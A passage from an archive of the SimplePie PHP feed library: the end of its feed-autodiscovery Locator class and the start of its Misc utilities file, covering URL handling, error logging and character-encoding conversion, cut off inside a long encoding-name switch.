$working[0]; } } return null; } public function is_feed($file, $check_html = false) { if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($file)); $sniffed = $sniffer->get_type(); $mime_types = array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml', 'application/x-rss+xml'); if ($check_html) { $mime_types[] = 'text/html'; } return in_array($sniffed, $mime_types); } elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL) { return true; } else { return false; } } public function get_base() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $this->http_base = $this->file->url; $this->base = $this->http_base; $elements = $this->dom->getElementsByTagName('base'); foreach ($elements as $element) { if ($element->hasAttribute('href')) { $base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base)); if ($base === false) { continue; } $this->base = $base; $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0; break; } } } public function autodiscovery() { $done = array(); $feeds = array(); $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds)); if (!empty($feeds)) { return array_values($feeds); } return null; } protected function search_elements_by_tag($name, &$done, $feeds) { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName($name); foreach ($links as $link) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if ($link->hasAttribute('href') && $link->hasAttribute('rel')) { $rel = array_unique($this->registry->call('Misc', 'space_separated_tokens', array(strtolower($link->getAttribute('rel'))))); $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1; if ($this->base_location < $line) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('text/html', 'application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href])) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed, true)) { $feeds[$href] = $feed; } } $done[] = $href; } } return $feeds; } public function get_links() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName('a'); foreach ($links as $link) { if ($link->hasAttribute('href')) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', array($href)); if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } $current = $this->registry->call('Misc', 'parse_url', array($this->file->url)); if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) { $this->local[] = $href; } else { $this->elsewhere[] = $href; } } } } $this->local = array_unique($this->local); $this->elsewhere = array_unique($this->elsewhere); if (!empty($this->local) || !empty($this->elsewhere)) { return true; } return null; } public function get_rel_link($rel) { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use '. 'locator'); } if (!class_exists('DOMXpath')) { throw new SimplePie_Exception('DOMXpath not found, unable to use '. 'get_rel_link'); } $xpath = new DOMXpath($this->dom); $query = '//a[@rel and @href] | //link[@rel and @href]'; foreach ($xpath->query($query) as $link) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', array($href)); if ($parsed['scheme'] === '' || preg_match('/^https?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { return null; } $rel_values = explode(' ', strtolower($link->getAttribute('rel'))); if (in_array($rel, $rel_values)) { return $href; } } } return null; } public function extension(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml'))) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return array($feed); } else { unset($array[$key]); } } } return null; } public function body(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen, $this->curl_options)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return array($feed); } else { unset($array[$key]); } } } return null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Misc.php����������������������������������������������������������������������������������0000644�����������������00000145746�15120262027�0010055 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Miscellanous utilities * * @package SimplePie */ class SimplePie_Misc { public static function time_hms($seconds) { $time = ''; $hours = floor($seconds / 3600); $remainder = $seconds % 3600; if ($hours > 0) { $time .= $hours.':'; } $minutes = floor($remainder / 60); $seconds = $remainder % 60; if ($minutes < 10 && $hours > 0) { $minutes = '0' . $minutes; } if ($seconds < 10) { $seconds = '0' . $seconds; } $time .= $minutes.':'; $time .= $seconds; return $time; } public static function absolutize_url($relative, $base) { $iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative); if ($iri === false) { return false; } return $iri->get_uri(); } /** * Get a HTML/XML element from a HTML string * * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!) * @param string $realname Element name (including namespace prefix if applicable) * @param string $string HTML document * @return array */ public static function get_element($realname, $string) { $return = array(); $name = preg_quote($realname, '/'); if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) { $return[$i]['tag'] = $realname; $return[$i]['full'] = $matches[$i][0][0]; $return[$i]['offset'] = $matches[$i][0][1]; if (strlen($matches[$i][3][0]) <= 2) { $return[$i]['self_closing'] = true; } else { $return[$i]['self_closing'] = false; $return[$i]['content'] = $matches[$i][4][0]; } $return[$i]['attribs'] = array(); if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) { for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) { if (count($attribs[$j]) === 2) { $attribs[$j][2] = $attribs[$j][1]; } $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j])); } } } } return $return; } public static function element_implode($element) { $full = "<$element[tag]"; foreach ($element['attribs'] as $key => $value) { $key = strtolower($key); $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"'; } if ($element['self_closing']) { $full .= ' />'; } else { $full .= ">$element[content]</$element[tag]>"; } return $full; } public static function error($message, $level, $file, $line) { if ((ini_get('error_reporting') & $level) > 0) { switch ($level) { case E_USER_ERROR: $note = 'PHP Error'; break; case E_USER_WARNING: $note = 'PHP Warning'; break; case E_USER_NOTICE: $note = 'PHP Notice'; break; default: $note = 'Unknown Error'; break; } $log_error = true; if (!function_exists('error_log')) { $log_error = false; } $log_file = @ini_get('error_log'); if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) { $log_error = false; } if ($log_error) { @error_log("$note: $message in $file on line $line", 0); } } return $message; } public static function fix_protocol($url, $http = 1) { $url = SimplePie_Misc::normalize_url($url); $parsed = SimplePie_Misc::parse_url($url); if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http); } if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http); } if ($http === 2 && $parsed['scheme'] !== '') { return "feed:$url"; } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'podcast', 0, 4); } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'itpc', 0, 4); } return $url; } public static function array_merge_recursive($array1, $array2) { foreach ($array2 as $key => $value) { if (is_array($value)) { $array1[$key] = SimplePie_Misc::array_merge_recursive($array1[$key], $value); } else { $array1[$key] = $value; } } return $array1; } public static function parse_url($url) { $iri = new SimplePie_IRI($url); return array( 'scheme' => (string) $iri->scheme, 'authority' => (string) $iri->authority, 'path' => (string) $iri->path, 'query' => (string) $iri->query, 'fragment' => (string) $iri->fragment ); } public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '') { $iri = new SimplePie_IRI(''); $iri->scheme = $scheme; $iri->authority = $authority; $iri->path = $path; $iri->query = $query; $iri->fragment = $fragment; return $iri->get_uri(); } public static function normalize_url($url) { $iri = new SimplePie_IRI($url); return $iri->get_uri(); } public static function percent_encoding_normalization($match) { $integer = hexdec($match[1]); if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) { return chr($integer); } return strtoupper($match[0]); } /** * Converts a Windows-1252 encoded string to a UTF-8 encoded string * * @static * @param string $string Windows-1252 encoded string * @return string UTF-8 encoded string */ public static function windows_1252_to_utf8($string) { static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"); return strtr($string, $convert_table); } /** * Change a string from one encoding to another * * @param string $data Raw data in $input encoding * @param string $input Encoding of $data * @param string $output Encoding you want * @return string|boolean False if we can't convert it */ public static function change_encoding($data, $input, $output) { $input = SimplePie_Misc::encoding($input); $output = SimplePie_Misc::encoding($output); // We fail to fail on non US-ASCII bytes if ($input === 'US-ASCII') { static $non_ascii_octects = ''; if (!$non_ascii_octects) { for ($i = 0x80; $i <= 0xFF; $i++) { $non_ascii_octects .= chr($i); } } $data = substr($data, 0, strcspn($data, $non_ascii_octects)); } // This is first, as behaviour of this is completely predictable if ($input === 'windows-1252' && $output === 'UTF-8') { return SimplePie_Misc::windows_1252_to_utf8($data); } // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output))) { return $return; } // This is third, as behaviour of this varies with OS userland and PHP version elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output))) { return $return; } // This is last, as behaviour of this varies with OS userland and PHP version elseif (class_exists('\UConverter') && ($return = SimplePie_Misc::change_encoding_uconverter($data, $input, $output))) { return $return; } // If we can't do anything, just fail return false; } protected static function change_encoding_mbstring($data, $input, $output) { if ($input === 'windows-949') { $input = 'EUC-KR'; } if ($output === 'windows-949') { $output = 'EUC-KR'; } if ($input === 'Windows-31J') { $input = 'SJIS'; } if ($output === 'Windows-31J') { $output = 'SJIS'; } // Check that the encoding is supported if (!in_array($input, mb_list_encodings())) { return false; } if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") { return false; } // Let's do some conversion if ($return = @mb_convert_encoding($data, $output, $input)) { return $return; } return false; } protected static function change_encoding_iconv($data, $input, $output) { return @iconv($input, $output, $data); } /** * @param string $data * @param string $input * @param string $output * @return string|false */ protected static function change_encoding_uconverter($data, $input, $output) { return @\UConverter::transcode($data, $output, $input); } /** * Normalize an encoding name * * This is automatically generated by create.php * * To generate it, run `php create.php` on the command line, and copy the * output to replace this function. * * @param string $charset Character set to standardise * @return string Standardised name */ public static function encoding($charset) { // Normalization from UTS #22 switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) { case 'adobestandardencoding': case 'csadobestandardencoding': return 'Adobe-Standard-Encoding'; case 'adobesymbolencoding': case 'cshppsmath': return 'Adobe-Symbol-Encoding'; case 'ami1251': case 'amiga1251': return 'Amiga-1251'; case 'ansix31101983': case 'csat5001983': case 'csiso99naplps': case 'isoir99': case 'naplps': return 'ANSI_X3.110-1983'; case 'arabic7': case 'asmo449': case 'csiso89asmo449': case 'iso9036': case 'isoir89': return 'ASMO_449'; case 'big5': case 'csbig5': return 'Big5'; case 'big5hkscs': return 'Big5-HKSCS'; case 'bocu1': case 'csbocu1': return 'BOCU-1'; case 'brf': case 'csbrf': return 'BRF'; case 'bs4730': case 'csiso4unitedkingdom': case 'gb': case 'iso646gb': case 'isoir4': case 'uk': return 'BS_4730'; case 'bsviewdata': case 'csiso47bsviewdata': case 'isoir47': return 'BS_viewdata'; case 'cesu8': case 'cscesu8': return 'CESU-8'; case 'ca': case 'csa71': case 'csaz243419851': case 'csiso121canadian1': case 'iso646ca': case 'isoir121': return 'CSA_Z243.4-1985-1'; case 'csa72': case 'csaz243419852': case 'csiso122canadian2': case 'iso646ca2': case 'isoir122': return 'CSA_Z243.4-1985-2'; case 'csaz24341985gr': case 'csiso123csaz24341985gr': case 'isoir123': return 'CSA_Z243.4-1985-gr'; case 'csiso139csn369103': case 'csn369103': case 'isoir139': return 'CSN_369103'; case 'csdecmcs': case 'dec': case 'decmcs': return 'DEC-MCS'; case 'csiso21german': case 'de': case 'din66003': case 'iso646de': case 'isoir21': return 'DIN_66003'; case 'csdkus': case 'dkus': return 'dk-us'; case 'csiso646danish': case 'dk': case 'ds2089': case 'iso646dk': return 'DS_2089'; case 'csibmebcdicatde': case 'ebcdicatde': return 'EBCDIC-AT-DE'; case 'csebcdicatdea': case 'ebcdicatdea': return 'EBCDIC-AT-DE-A'; case 'csebcdiccafr': case 'ebcdiccafr': return 'EBCDIC-CA-FR'; case 'csebcdicdkno': case 'ebcdicdkno': return 'EBCDIC-DK-NO'; case 'csebcdicdknoa': case 'ebcdicdknoa': return 'EBCDIC-DK-NO-A'; case 'csebcdices': case 'ebcdices': return 'EBCDIC-ES'; case 'csebcdicesa': case 'ebcdicesa': return 'EBCDIC-ES-A'; case 'csebcdicess': case 'ebcdicess': return 'EBCDIC-ES-S'; case 'csebcdicfise': case 'ebcdicfise': return 'EBCDIC-FI-SE'; case 'csebcdicfisea': case 'ebcdicfisea': return 'EBCDIC-FI-SE-A'; case 'csebcdicfr': case 'ebcdicfr': return 'EBCDIC-FR'; case 'csebcdicit': case 'ebcdicit': return 'EBCDIC-IT'; case 'csebcdicpt': case 'ebcdicpt': return 'EBCDIC-PT'; case 'csebcdicuk': case 'ebcdicuk': return 'EBCDIC-UK'; case 'csebcdicus': case 'ebcdicus': return 'EBCDIC-US'; case 'csiso111ecmacyrillic': case 'ecmacyrillic': case 'isoir111': case 'koi8e': return 'ECMA-cyrillic'; case 'csiso17spanish': case 'es': case 'iso646es': case 'isoir17': return 'ES'; case 'csiso85spanish2': case 'es2': case 'iso646es2': case 'isoir85': return 'ES2'; case 'cseucpkdfmtjapanese': case 'eucjp': case 'extendedunixcodepackedformatforjapanese': return 'EUC-JP'; case 'cseucfixwidjapanese': case 'extendedunixcodefixedwidthforjapanese': return 'Extended_UNIX_Code_Fixed_Width_for_Japanese'; case 'gb18030': return 'GB18030'; case 'chinese': case 'cp936': case 'csgb2312': case 'csiso58gb231280': case 'gb2312': case 'gb231280': case 'gbk': case 'isoir58': case 'ms936': case 'windows936': return 'GBK'; case 'cn': case 'csiso57gb1988': case 'gb198880': case 'iso646cn': case 'isoir57': return 'GB_1988-80'; case 'csiso153gost1976874': case 'gost1976874': case 'isoir153': case 'stsev35888': return 'GOST_19768-74'; case 'csiso150': case 'csiso150greekccitt': case 'greekccitt': case 'isoir150': return 'greek-ccitt'; case 'csiso88greek7': case 'greek7': case 'isoir88': return 'greek7'; case 'csiso18greek7old': case 'greek7old': case 'isoir18': return 'greek7-old'; case 'cshpdesktop': case 'hpdesktop': return 'HP-DeskTop'; case 'cshplegal': case 'hplegal': return 'HP-Legal'; case 'cshpmath8': case 'hpmath8': return 'HP-Math8'; case 'cshppifont': case 'hppifont': return 'HP-Pi-font'; case 'cshproman8': case 'hproman8': case 'r8': case 'roman8': return 'hp-roman8'; case 'hzgb2312': return 'HZ-GB-2312'; case 'csibmsymbols': case 'ibmsymbols': return 'IBM-Symbols'; case 'csibmthai': case 'ibmthai': return 'IBM-Thai'; case 'cp37': case 'csibm37': case 'ebcdiccpca': case 'ebcdiccpnl': case 'ebcdiccpus': case 'ebcdiccpwt': case 'ibm37': return 'IBM037'; case 'cp38': case 'csibm38': case 'ebcdicint': case 'ibm38': return 'IBM038'; case 'cp273': case 'csibm273': case 'ibm273': return 'IBM273'; case 'cp274': case 'csibm274': case 'ebcdicbe': case 'ibm274': return 'IBM274'; case 'cp275': case 'csibm275': case 'ebcdicbr': case 'ibm275': return 'IBM275'; case 'csibm277': case 'ebcdiccpdk': case 'ebcdiccpno': case 'ibm277': return 'IBM277'; case 'cp278': case 'csibm278': case 'ebcdiccpfi': case 'ebcdiccpse': case 'ibm278': return 'IBM278'; case 'cp280': case 'csibm280': case 'ebcdiccpit': case 'ibm280': return 'IBM280'; case 'cp281': case 'csibm281': case 'ebcdicjpe': case 'ibm281': return 'IBM281'; case 'cp284': case 'csibm284': case 'ebcdiccpes': case 'ibm284': return 'IBM284'; case 'cp285': case 'csibm285': case 'ebcdiccpgb': case 'ibm285': return 'IBM285'; case 'cp290': case 'csibm290': case 'ebcdicjpkana': case 'ibm290': return 'IBM290'; case 'cp297': case 'csibm297': case 'ebcdiccpfr': case 'ibm297': return 'IBM297'; case 'cp420': case 'csibm420': case 'ebcdiccpar1': case 'ibm420': return 'IBM420'; case 'cp423': case 'csibm423': case 'ebcdiccpgr': case 'ibm423': return 'IBM423'; case 'cp424': case 'csibm424': case 'ebcdiccphe': case 'ibm424': return 'IBM424'; case '437': case 'cp437': case 'cspc8codepage437': case 'ibm437': return 'IBM437'; case 'cp500': case 'csibm500': case 'ebcdiccpbe': case 'ebcdiccpch': case 'ibm500': return 'IBM500'; case 'cp775': case 'cspc775baltic': case 'ibm775': return 'IBM775'; case '850': case 'cp850': case 'cspc850multilingual': case 'ibm850': return 'IBM850'; case '851': case 'cp851': case 'csibm851': case 'ibm851': return 'IBM851'; case '852': case 'cp852': case 'cspcp852': case 'ibm852': return 'IBM852'; case '855': case 'cp855': case 'csibm855': case 'ibm855': return 'IBM855'; case '857': case 'cp857': case 'csibm857': case 'ibm857': return 'IBM857'; case 'ccsid858': case 'cp858': case 'ibm858': case 'pcmultilingual850euro': return 'IBM00858'; case '860': case 'cp860': case 'csibm860': case 'ibm860': return 'IBM860'; case '861': case 'cp861': case 'cpis': case 'csibm861': case 'ibm861': return 'IBM861'; case '862': case 'cp862': case 'cspc862latinhebrew': case 'ibm862': return 'IBM862'; case '863': case 'cp863': case 'csibm863': case 'ibm863': return 'IBM863'; case 'cp864': case 'csibm864': case 'ibm864': return 'IBM864'; case '865': case 'cp865': case 'csibm865': case 'ibm865': return 'IBM865'; case '866': case 'cp866': case 'csibm866': case 'ibm866': return 'IBM866'; case 'cp868': case 'cpar': case 'csibm868': case 'ibm868': return 'IBM868'; case '869': case 'cp869': case 'cpgr': case 'csibm869': case 'ibm869': return 'IBM869'; case 'cp870': case 'csibm870': case 'ebcdiccproece': case 'ebcdiccpyu': case 'ibm870': return 'IBM870'; case 'cp871': case 'csibm871': case 'ebcdiccpis': case 'ibm871': return 'IBM871'; case 'cp880': case 'csibm880': case 'ebcdiccyrillic': case 'ibm880': return 'IBM880'; case 'cp891': case 'csibm891': case 'ibm891': return 'IBM891'; case 'cp903': case 'csibm903': case 'ibm903': return 'IBM903'; case '904': case 'cp904': case 'csibbm904': case 'ibm904': return 'IBM904'; case 'cp905': case 'csibm905': case 'ebcdiccptr': case 'ibm905': return 'IBM905'; case 'cp918': case 'csibm918': case 'ebcdiccpar2': case 'ibm918': return 'IBM918'; case 'ccsid924': case 'cp924': case 'ebcdiclatin9euro': case 'ibm924': return 'IBM00924'; case 'cp1026': case 'csibm1026': case 'ibm1026': return 'IBM1026'; case 'ibm1047': return 'IBM1047'; case 'ccsid1140': case 'cp1140': case 'ebcdicus37euro': case 'ibm1140': return 'IBM01140'; case 'ccsid1141': case 'cp1141': case 'ebcdicde273euro': case 'ibm1141': return 'IBM01141'; case 'ccsid1142': case 'cp1142': case 'ebcdicdk277euro': case 'ebcdicno277euro': case 'ibm1142': return 'IBM01142'; case 'ccsid1143': case 'cp1143': case 'ebcdicfi278euro': case 'ebcdicse278euro': case 'ibm1143': return 'IBM01143'; case 'ccsid1144': case 'cp1144': case 'ebcdicit280euro': case 'ibm1144': return 'IBM01144'; case 'ccsid1145': case 'cp1145': case 'ebcdices284euro': case 'ibm1145': return 'IBM01145'; case 'ccsid1146': case 'cp1146': case 'ebcdicgb285euro': case 'ibm1146': return 'IBM01146'; case 'ccsid1147': case 'cp1147': case 'ebcdicfr297euro': case 'ibm1147': return 'IBM01147'; case 